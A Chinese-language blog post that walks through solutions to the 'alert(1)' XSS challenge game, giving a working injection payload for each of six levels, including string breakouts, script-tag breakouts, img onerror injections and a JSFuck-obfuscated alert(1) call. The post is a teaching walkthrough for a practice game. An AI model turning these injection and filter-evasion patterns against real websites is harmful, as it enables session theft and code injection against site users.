最近在玩 alert(1)XSS 小遊戲,藉此紀錄一下每關的思路及解法

(建議先自己玩過之後再看這篇,免得被我雷到 XD)

XSS 的危險性就不特別解釋了

輕則可以注入挖礦程式,重則被盜用個人資料


以下有每關的解法及答案,防雷 ~






  • Warmup (第一關)
    相當單純的沒做任何輸入過濾,可以直接湊出 ") 即可
");alert(1);//
  • Adobe (第二關)
    多了 " 取代為 \" 的處理,那就多放個 \ 囉 XD
\");alert(1);// 
  • JSON (第三關)
    完全用 JSON.stringify 做字元過濾,少了 <, >, / 這些的過濾
</script><script>alert(1);// 
  • Markdown (第四關)
    常見的 markdown 轉為 HTML 的取代方式,看起來突破口不是 a 就是 img,嘗試使用 onerror 接口突破
[[img123|http://onerror='javascript:alert(1)']]
  • DOM (第五關)
    看了很久,找到最有可能的為 createComment 這個接口,配合 > 塞上 img 即可
Comment#><img src="test.jpg" onerror="javascript: alert(1)">
  • Callback (第六關)
    明顯的第一個參數是不擋 ', [, ] 因此可以試著使用 ' 做 escape
'#'; alert(1); //
");(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]];("

Leave a Reply